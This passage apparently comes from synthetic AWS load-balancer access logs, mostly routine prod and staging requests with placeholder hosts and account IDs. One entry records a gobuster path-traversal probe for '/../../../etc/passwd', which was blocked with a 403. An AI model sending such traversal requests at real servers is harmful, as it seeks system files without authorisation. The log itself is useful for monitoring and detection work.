"Root=1-6723bffe-8cdb12adcc3242c1ad9db373" "prod-web-alb.example.com" "-" 7 2024-11-01T00:35:58.707933Z "forward" "-" "-" "10.0.71.30:443" "301" "-" "-" -https 2024-11-01T00:36:00.518197Z staging-alb 105.205.79.200:33137 126.165.13.187:80 0.033188 0.152796 0.118009 200 200 754 10795 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c000-c5d35594e749495ba4862312" "staging-alb.example.com" "-" 8 2024-11-01T00:36:00.518197Z "forward" "-" "-" "126.165.13.187:80" "200" "-" "-" -https 2024-11-01T00:36:02.092240Z prod-api-alb 198.235.233.108:29560 10.0.183.211:443 0.052895 0.154827 0.000679 200 200 347 14117 "GET /api/health HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c002-03266a53052f494ba3434443" "prod-api-alb.example.com" "-" 9 2024-11-01T00:36:02.092240Z "forward" "-" "-" "10.0.183.211:443" "200" "-" "-" -https 2024-11-01T00:36:03.501254Z staging-alb 62.169.183.0:59227 102.111.126.161:80 0.078822 0.268263 0.016922 302 302 648 14472 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c003-e7167e3a2787422998dca492" "staging-alb.example.com" "-" 1 2024-11-01T00:36:03.501254Z "forward" "-" "-" "102.111.126.161:80" "302" "-" "-" -https 2024-11-01T00:36:05.132822Z prod-api-alb 198.148.47.232:57636 10.0.178.56:443 0.063272 0.134117 0.055183 200 200 873 3276 "GET /api/health HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c005-c2f0d09a04e64e578d77f7c2" "prod-api-alb.example.com" "-" 2 2024-11-01T00:36:05.132822Z "forward" "-" "-" "10.0.178.56:443" "200" "-" "-" -http 2024-11-01T00:36:06.547495Z staging-alb 103.115.92.102:40695 54.227.1.3:8080 0.062522 0.549048 0.113270 200 200 509 4026 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c006-ed1b1e10676f4b54813161bb" "staging-alb.example.com" "-" 10 2024-11-01T00:36:06.547495Z "forward" "-" "-" "54.227.1.3:8080" "200" "-" "-" -https 2024-11-01T00:36:07.053213Z prod-api-alb 9.160.145.16:62933 10.0.72.191:443 0.058407 0.165983 0.097751 200 200 677 7861 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c007-7d67c5965ab64d8886d19d5d" "prod-api-alb.example.com" "-" 6 2024-11-01T00:36:07.053213Z "forward" "-" "-" "10.0.72.191:443" "200" "-" "-" -https 2024-11-01T00:36:08.692183Z prod-web-alb 241.11.192.224:40512 10.0.107.201:443 0.096487 0.393024 0.007136 302 302 70 9045 "GET /assets/main.css HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c008-ab21b7ba78d54856aafe1575" "prod-web-alb.example.com" "-" 1 2024-11-01T00:36:08.692183Z "forward" "-" "-" "10.0.107.201:443" "302" "-" "-" -http 2024-11-01T00:36:09.669554Z staging-alb 123.69.156.202:33478 14.36.248.50:8080 0.008334 0.217841 0.009452 302 302 241 13579 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c009-0f6d081b16d94e04bb5bf7a7" "staging-alb.example.com" "-" 5 2024-11-01T00:36:09.669554Z "forward" "-" "-" "14.36.248.50:8080" "302" "-" "-" -https 2024-11-01T00:36:10.963089Z prod-api-alb 103.121.30.41:59856 10.0.248.225:443 0.048845 0.203717 0.051233 200 200 32 2320 "GET /api/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c00a-47886bd67d524e4187ed3d04" "prod-api-alb.example.com" "-" 3 2024-11-01T00:36:10.963089Z "forward" "-" "-" "10.0.248.225:443" "200" "-" "-" -https 2024-11-01T00:36:12.215215Z staging-alb 71.170.101.68:47029 90.44.23.77:443 0.071347 0.284509 0.093798 200 200 316 10083 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c00c-783a9bf5afa8457b9f3fefc6" "staging-alb.example.com" "-" 10 2024-11-01T00:36:12.215215Z "forward" "-" "-" "90.44.23.77:443" "200" "-" "-" -https 2024-11-01T00:36:13.323931Z prod-web-alb 183.63.249.44:19933 10.0.20.48:443 0.062343 0.393852 0.076451 200 200 928 12677 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c00d-b0f97b0f110749c5b70dde13" "prod-web-alb.example.com" "-" 5 2024-11-01T00:36:13.323931Z "forward" "-" "-" "10.0.20.48:443" "200" "-" "-" -https 2024-11-01T00:36:14.971751Z prod-web-alb 216.48.219.162:29785 10.0.215.103:443 0.020077 0.311742 0.068822 404 404 701 2764 "GET /products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c00e-75ad3ed995c1479fbb93c75e" "prod-web-alb.example.com" "-" 6 2024-11-01T00:36:14.971751Z "forward" "-" "-" "10.0.215.103:443" "404" "-" "-" -http 2024-11-01T00:36:15.992306Z staging-alb 231.103.130.188:29875 80.134.69.152:80 0.026876 0.129906 0.097589 200 200 710 10631 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c00f-1b0033e3c064475bbeba5c19" "-" "-" 7 2024-11-01T00:36:15.992306Z "forward" "-" "-" "80.134.69.152:80" "200" "-" "-" -https 2024-11-01T00:36:16.304184Z prod-api-alb 24.16.211.30:50325 10.0.145.221:443 0.006537 0.257687 0.065057 404 404 231 7699 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c010-48389a75c65d48888de4458f" "prod-api-alb.example.com" "-" 7 2024-11-01T00:36:16.304184Z "forward" "-" "-" "10.0.145.221:443" "404" "-" "-" -https 2024-11-01T00:36:17.962875Z prod-web-alb 145.117.97.6:29530 10.0.246.120:443 0.012781 0.226345 0.098544 200 200 968 13724 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c011-d64a1d10e7c544cf90c7dbd8" "-" "-" 3 2024-11-01T00:36:17.962875Z "forward" "-" "-" "10.0.246.120:443" "200" "-" "-" -https 2024-11-01T00:36:19.496711Z prod-api-alb 23.98.118.234:28680 10.0.239.203:443 0.083204 0.085077 0.072176 404 404 354 402 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c013-141404f6f0d643bda6ff636b" "prod-api-alb.example.com" "-" 5 2024-11-01T00:36:19.496711Z "forward" "-" "-" "10.0.239.203:443" "404" "-" "-" -http 2024-11-01T00:36:20.850466Z staging-alb 254.102.79.146:59512 135.126.203.200:8080 0.001894 0.382095 0.037383 301 301 887 8534 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c014-e04030caac6b4aec9de99c81" "staging-alb.example.com" "-" 0 2024-11-01T00:36:20.850466Z "forward" "-" "-" "135.126.203.200:8080" "301" "-" "-" -http 2024-11-01T00:36:21.073830Z staging-alb 17.174.201.103:32373 74.140.247.112:80 0.058684 0.697644 0.115135 200 200 760 3323 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c015-6b953b0e8f424788b22cb96b" "staging-alb.example.com" "-" 7 2024-11-01T00:36:21.073830Z "forward" "-" "-" "74.140.247.112:80" "200" "-" "-" -http 2024-11-01T00:36:22.139496Z staging-alb 192.17.122.126:26337 50.222.105.65:8080 0.094351 0.301965 0.113413 200 200 499 1067 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c016-202fb94b7c894c3ea98b69b6" "staging-alb.example.com" "-" 10 2024-11-01T00:36:22.139496Z "forward" "-" "-" "50.222.105.65:8080" "200" "-" "-" -https 2024-11-01T00:36:23.177743Z prod-web-alb 133.155.12.57:37302 10.0.93.182:443 0.037624 0.337735 0.023514 404 404 298 10381 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c017-7d89f9ce0eba4136a33c1f91" "prod-web-alb.example.com" "-" 6 2024-11-01T00:36:23.177743Z "forward" "-" "-" "10.0.93.182:443" "404" "-" "-" -http 2024-11-01T00:36:23.327660Z staging-alb 199.20.46.71:34236 46.177.223.10:8080 0.070506 0.206693 0.100837 200 200 322 13840 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c017-48c6c28430ba4666bf3bfaf9" "staging-alb.example.com" "-" 10 2024-11-01T00:36:23.327660Z "forward" "-" "-" "46.177.223.10:8080" "200" "-" "-" -https 2024-11-01T00:36:25.234230Z prod-web-alb 150.22.171.180:41324 10.0.232.30:443 0.024912 0.081941 0.003505 404 404 206 7434 "GET /products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c019-893da0556eb24746aba16c0f" "prod-web-alb.example.com" "-" 7 2024-11-01T00:36:25.234230Z "forward" "-" "-" "10.0.232.30:443" "404" "-" "-" -https 2024-11-01T00:36:27.000493Z prod-api-alb 170.66.146.27:42468 10.0.91.206:443 0.076180 0.329240 0.097022 404 404 171 3479 "GET /api/v1/orders HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c01b-cd77f43224b54e21ab2bcfe3" "prod-api-alb.example.com" "-" 2 2024-11-01T00:36:27.000493Z "forward" "-" "-" "10.0.91.206:443" "404" "-" "-" -https 2024-11-01T00:36:28.663713Z staging-alb 201.2.160.80:35814 100.219.210.253:8080 0.002291 0.458014 0.120327 301 301 924 10033 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c01c-ef7f5f93863b44ba83b3f593" "staging-alb.example.com" "-" 1 2024-11-01T00:36:28.663713Z "forward" "-" "-" "100.219.210.253:8080" "301" "-" "-" -https 2024-11-01T00:36:28.970727Z prod-web-alb 44.186.232.51:51224 10.0.231.53:443 0.079574 0.468906 0.057840 301 301 83 11882 "GET /images/logo.png HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c01c-c1cdad8846c54b7986168c3e" "prod-web-alb.example.com" "-" 3 2024-11-01T00:36:28.970727Z "forward" "-" "-" "10.0.231.53:443" "301" "-" "-" -https 2024-11-01T00:36:30.131850Z prod-web-alb 16.77.120.206:12744 10.0.51.105:443 0.038680 0.483102 0.085713 404 404 603 6936 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c01e-34ba98e28e3d4ea3affef714" "prod-web-alb.example.com" "-" 1 2024-11-01T00:36:30.131850Z "forward" "-" "-" "10.0.51.105:443" "404" "-" "-" -https 2024-11-01T00:36:30.558817Z prod-web-alb 130.245.107.52:37620 10.0.158.169:443 0.003312 0.011413 0.061744 302 302 312 7458 "GET /products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c01e-0d372fe3846c4bb4a4161c0f" "prod-web-alb.example.com" "-" 8 2024-11-01T00:36:30.558817Z "forward" "-" "-" "10.0.158.169:443" "302" "-" "-" -http 2024-11-01T00:36:32.031492Z staging-alb 248.163.82.217:15602 248.116.247.187:8080 0.028296 0.533762 0.060900 200 200 863 14036 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c020-ac27feb83e134b419abf73e1" "staging-alb.example.com" "-" 6 2024-11-01T00:36:32.031492Z "forward" "-" "-" "248.116.247.187:8080" "200" "-" "-" -http 2024-11-01T00:36:33.181893Z staging-alb 204.111.149.245:33422 201.182.216.50:443 0.037283 0.458660 0.132911 200 200 839 7282 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c021-5d5e620cab4a4d63922b1a3b" "staging-alb.example.com" "-" 0 2024-11-01T00:36:33.181893Z "forward" "-" "-" "201.182.216.50:443" "200" "-" "-" -https 2024-11-01T00:36:34.028735Z prod-web-alb 217.0.246.36:51539 10.0.123.179:443 0.011272 0.301986 0.022383 200 200 473 2190 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c022-315c90dd3bff4f658575ec79" "prod-web-alb.example.com" "-" 5 2024-11-01T00:36:34.028735Z "forward" "-" "-" "10.0.123.179:443" "200" "-" "-" -https 2024-11-01T00:36:35.466835Z prod-web-alb 79.253.158.113:39725 10.0.180.106:443 0.006064 0.313929 0.028502 200 200 196 7455 "GET /products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c023-ae5f490cb8a04e059e9f2a06" "prod-web-alb.example.com" "-" 6 2024-11-01T00:36:35.466835Z "forward" "-" "-" "10.0.180.106:443" "200" "-" "-" -https 2024-11-01T00:36:36.632079Z staging-alb 92.50.4.204:64264 188.142.204.215:443 0.073438 0.268124 0.052671 200 200 810 13672 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c024-a99130608bb143559d89da2d" "staging-alb.example.com" "-" 3 2024-11-01T00:36:36.632079Z "forward" "-" "-" "188.142.204.215:443" "200" "-" "-" -http 2024-11-01T00:36:38.606191Z staging-alb 158.45.113.22:19112 68.221.71.148:8080 0.144428 0.292949 0.011051 200 200 355 12444 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c026-f239317250ab4d70b67bab40" "staging-alb.example.com" "-" 8 2024-11-01T00:36:38.606191Z "forward" "-" "-" "68.221.71.148:8080" "200" "-" "-" -http 2024-11-01T00:36:40.502562Z staging-alb 246.51.185.225:58218 131.167.245.134:8080 0.135128 0.204292 0.046281 301 301 44 9603 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c028-86198478ebd84a49a53b43b8" "staging-alb.example.com" "-" 2 2024-11-01T00:36:40.502562Z "forward" "-" "-" "131.167.245.134:8080" "301" "-" "-" -https 2024-11-01T00:36:40.670716Z prod-web-alb 181.230.183.87:59833 10.0.51.137:443 0.046274 0.072178 0.064237 200 200 55 14559 "GET /images/logo.png HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c028-b8a2958fd0a844569346d413" "prod-web-alb.example.com" "-" 1 2024-11-01T00:36:40.670716Z "forward" "-" "-" "10.0.51.137:443" "200" "-" "-" -http 2024-11-01T00:36:42.610807Z staging-alb 244.33.34.12:62468 58.46.2.74:8080 0.135263 0.213556 0.065077 302 302 930 4882 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c02a-6f6668fb865f4b1a8a019c0a" "staging-alb.example.com" "-" 5 2024-11-01T00:36:42.610807Z "forward" "-" "-" "58.46.2.74:8080" "302" "-" "-" -https 2024-11-01T00:36:44.282347Z staging-alb 60.10.33.78:45438 231.149.229.238:80 0.036248 0.452582 0.027432 200 200 492 6640 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c02c-31afc76a473c46f0ba00a912" "staging-alb.example.com" "-" 6 2024-11-01T00:36:44.282347Z "forward" "-" "-" "231.149.229.238:80" "200" "-" "-" -https 2024-11-01T00:36:44.688268Z prod-web-alb 87.87.125.41:47531 10.0.49.202:443 0.035213 0.387305 0.060786 200 200 785 4368 "GET /assets/main.css HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c02c-d6a05ab056e94dc0b44200a8" "prod-web-alb.example.com" "-" 10 2024-11-01T00:36:44.688268Z "forward" "-" "-" "10.0.49.202:443" "200" "-" "-" -https 2024-11-01T00:36:46.259297Z prod-api-alb 45.155.205.141:34792 10.0.123.168:443 0.011957 0.480819 0.047756 403 403 115 794 "GET /../../../etc/passwd HTTP/1.1" "gobuster/3.5" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c02e-e5106504c5c946bfbc5c0d8c" "-" "-" 2 2024-11-01T00:36:46.259297Z "forward" "-" "-" "10.0.123.168:443" "403" "-" "-" -https 2024-11-01T00:36:47.120157Z prod-web-alb 99.230.124.169:59379 10.0.7.169:443 0.088606 0.286661 0.038540 200 200 177 6179 "GET /products HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c02f-d39540ce340d48c3b74656b4" "prod-web-alb.example.com" "-" 7 2024-11-01T00:36:47.120157Z "forward" "-" "-" "10.0.7.169:443" "200" "-" "-" -http 2024-11-01T00:36:47.366517Z staging-alb 139.42.239.71:18530 249.131.248.125:443 0.085039 0.678589 0.046872 200 200 788 6057 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c02f-f51f0ec162da41aa8be25df1" "staging-alb.example.com" "-" 5 2024-11-01T00:36:47.366517Z "forward" "-" "-" "249.131.248.125:443" "200" "-" "-" -https 2024-11-01T00:36:48.701903Z prod-api-alb 60.246.183.6:53245 10.0.97.145:443 0.004119 0.309888 0.046345 200 200 329 8533 "GET /api/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c030-1312f88d66c242c0942dbe12" "prod-api-alb.example.com" "-" 7 2024-11-01T00:36:48.701903Z "forward" "-" "-" "10.0.97.145:443" "200" "-" "-" -http 2024-11-01T00:36:50.178065Z staging-alb 31.88.206.121:48336 73.7.76.217:80 0.143011 0.263121 0.136549 200 200 640 10606 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c032-474036f196ae498b86691fae" "staging-alb.example.com" "-" 4 2024-11-01T00:36:50.178065Z "forward" "-" "-" "73.7.76.217:80" "200" "-" "-" -https 2024-11-01T00:36:50.941074Z prod-web-alb 221.112.6.115:58713 10.0.115.60:443 0.066430 0.174592 0.071900 200 200 375 4466 "GET /assets/main.css HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c032-47e34d08649c418f81f20d86" "prod-web-alb.example.com" "-" 2 2024-11-01T00:36:50.941074Z "forward" "-" "-" "10.0.115.60:443" "200" "-" "-" -https 2024-11-01T00:36:52.440168Z prod-web-alb 56.37.181.148:53292 10.0.39.19:443 0.099295 0.199066 0.029226 404 404 224 13280 "GET /assets/main.css HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c034-a80431c0327346e79cd27066" "prod-web-alb.example.com" "-" 8 2024-11-01T00:36:52.440168Z "forward" "-" "-" "10.0.39.19:443" "404" "-" "-" -https 2024-11-01T00:36:52.583908Z prod-api-alb 114.115.219.148:22736 10.0.148.72:443 0.089952 0.305234 0.099032 404 404 830 9357 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c034-3e4471abb5e248de95a01668" "prod-api-alb.example.com" "-" 10 2024-11-01T00:36:52.583908Z "forward" "-" "-" "10.0.148.72:443" "404" "-" "-" -https 2024-11-01T00:36:53.967973Z prod-api-alb 8.151.128.86:33318 10.0.196.253:443 0.067602 0.239102 0.006687 200 200 732 4776 "GET /api/v2/users HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c035-586045b58a7a4192ba218c73" "prod-api-alb.example.com" "-" 0 2024-11-01T00:36:53.967973Z "forward" "-" "-" "10.0.196.253:443" "200" "-" "-" -https 2024-11-01T00:36:54.075266Z prod-api-alb 96.100.147.162:52149 10.0.157.150:443 0.084157 0.474559 0.063502 302 302 520 9772 "GET /api/v2/users HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c036-4003fbfe1e3448bbb5c4750e" "prod-api-alb.example.com" "-" 5 2024-11-01T00:36:54.075266Z "forward" "-" "-" "10.0.157.150:443" "302" "-" "-" -https 2024-11-01T00:36:54.495854Z staging-alb 31.234.48.120:14308 46.87.97.9:8080 0.111010 0.100950 0.128664 301 301 56 2600 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 